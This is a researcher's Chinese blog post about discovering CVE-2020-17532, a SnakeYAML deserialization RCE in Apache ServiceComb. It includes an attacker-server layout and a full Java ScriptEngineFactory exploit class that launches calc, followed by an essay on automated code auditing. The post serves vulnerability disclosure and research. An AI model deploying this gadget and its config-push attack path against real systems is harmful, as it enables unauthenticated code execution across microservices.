年轻人的第一枚 CVE / apache servicecomb yaml反序列化RCE (CVE-2020-17532) 分析

知识共享许可协议
本作品采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可。

免责声明:

本文出于技术交流的目的提供对于漏洞细节的分析,请勿用于非法用途,否则后(雨)果(我)自(无)负(瓜)。


0x00 前言

去年在斗象的时候挖到的....后来我离职了 所以没有及时得到申请进度的反馈 因为当时是和某为(vendor)那边合作的研究项目所以应该是某为那边直接申请的 直到刚刚才知道喜提一枚CVSS 8.8

虽然感觉比较水并不是很复杂...但也算是得到了一个对于自己能力的阶段性证明吧..挺开心的(?)...

既然官方已经修复了那我来贴一下详细分析吧,基本就是当时写的文档。因为知道得太晚甚至不是全网第一篇分析了...不过肯定是最详细的一篇(大概)

0x01 分析

如pdf无法正常加载 请戳

攻击者的web服务器:

/META-INF/services/javax.script.ScriptEngineFactory
demo.exploit
/demo/exploit.class - 下面给出源码 请自行编译,只要是ScriptEngineFactory的实现类就行,payload也可以放static里

package demo;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class exploit implements ScriptEngineFactory {

    public exploit() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) { return null; }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }

}

当然也可以直接加载一个jar就是

只是用了其中一条已知且比较有名的利用链来举例(懒)

0x02 评论

这个洞必须要能够访问到服务中心或者配置中心才能利用,而这两个东西公网的攻击者往往是无法直接访问到的

但是如果攻击者已经在边界内的话是可以利用这个洞把内网打穿的  最主要的利用场景应该是用来打组合拳(要么在内网已经有shell了用这个来横移要么和别的洞一起比如当时挖到的另一个SSRF 或者直接钓鱼也行) 总之不管通过什么手段理论上攻击者只要能够向kie发两个POST就能把恶意配置下发到任意微服务执行任意代码 整个过程无需凭证无需认证无需交互


0x03 关于(我眼中的)行业的未来

前方巨大多黑屁输出,可能会伤到某些从业者的玻璃心。只是想表达一下我眼中国内这个行业的现状,我并不想和谁吵架,如果您的观点和我不同,您说的都怼。

我在刚拿到这个项目的时候被丢了这么篇文章((

开源产业白皮书 :华为云贡献的ServiceComb安全性第一

基于污点跟踪、符号执行和数据流分析的自动化代码审计工具现在已经很成熟了(比如CodeQL以及别的一些工具),这应该是未来的行业趋势。这些自动化工具的原理说白了就是去寻找一条从已知的 source 到已知的 sink 的被污染的数据流。很多大型项目拿这些自动化工具一扫的确能啪的一下扫出不少洞,这类自动化工具的优势在于能在很短的时间内遍历庞大的代码库并且找出隐藏极深的数据流(人工来做的话除非跟的时候有明确的目的性和指向性,而这一点是很需要经验和运气的。很容易在几十层调用栈几万行代码里不知所踪),另外一个就是自动化工具能节约不少人力和时间成本。但这些工具也有一些必然的局限性,一个是 completeness 和 soundness 不可兼得,高检出的后果必然是高误报,而现在的工具更倾向于保证后者。另外 source 和 sink 需要预先定义就可能有遗漏。最后就是自动化工具去跟数据流可能在一些奇怪的地方断掉,这也是为什么 snakeyaml 这个 sink 是已知的但之前的人用自动化工具就是扫不出来的原因,因为数据流断在了 archaius 的 dynamic property 那里,但是真人就会意识到这两处的关联性,当然这可以通过把 archaius 的 dynamic property 直接标记为 source 来规避这个问题,但这只是见招拆招罢了,并没有解决根本问题,也许永远也解决不了。不过即使是这种不完美的自动化工具也足以取代行业内很多浮躁的混子了.....所以还请自求多福吧

即使有着这样那样的问题我对于代码审计自动化的未来还是充满信心的,安全研究绝不该迷失在拾人牙慧然后把已知的东西套到别的代码库里(很惭愧我承认我自己在这篇文章里所做的也不例外),那样的话最好把 title 改成高级安全服务工程师,反正需要的创造力都是0。(这通黑屁并不是在嘲讽安服师傅,我也不配,比我强的人太多了,且不说安服师傅里也有很多很强我很敬佩的人,只是扪心自问一下,作为人形扫描器掏出一打nday甚至0day打过去再串起来这种机械重复的过程真的是自动化工具所无法取代的吗?挖0day也一样,无论黑盒白盒把已知的攻击面平移到一个又一个代码库里真的是自动化工具所无法取代的吗?)

我想表达的重点无关黑白盒也无关究竟是挖0day还是捡现成的exp来用。挖到0day不代表一定有创造力(0day崇拜是一个特别有意思的现象),而做渗透也有渗透的艺术。关键是别活成了高级版的工具人,然后满足于「看吧人还是比自动化工具强那么一点的」,这只能证明所积累的经验在某些方面超过了现有的工具,仅此而已。在这个过程中或许加深了一些对于自己的信心,那么又从中学到了什么呢?我觉得并没有。

真正能吸引我的、称得上是研究的工作应该是不断去探索未知的领域(至少对于我来说是未知的),比如新的攻击面新的解决方案等等等。赋能给自动化工具,剩下的重复劳动交给自动化工具去做就好。好奇心、创造力,这才是人无法被取代的地方。


0x04 后记

最后,感谢星光,还有TCC的其他同事,虽然我不太喜欢整个公司的氛围,但TCC的技术同事人都很好,也给了我很多关照,祝你们一切都好。

还需要特别感谢之前在微步在线实习的时候给我提供过很多帮助的林林,虽然当时的工作主要是流量特征那一块的和代码审计关系不大,但林林给了我很多方法论特别是思考问题的方式上的指导,看似无用实则受益匪浅,另外分析漏洞的过程于己也是很宝贵的积累。很感谢,祝早日上市。

我并不打算把自己的一生限制在某个特定的领域,之后我主要的兴趣应该不会放在appsec(web)这一块上了,也许还会康康自用的这个blog,也许会(在rust快让pwn师傅没饭可恰的前夜)去看看pwn,也许会去看看智能合约安全,也许会去看看我感兴趣的偏学术偏理论的方向(langsec), 也许会沉迷造轮子玩,也许.......谁知道呢。

世界很大,江湖再见。

点击右边的按钮加载评论,如果无法加载那估计是被墙啦..你看着办w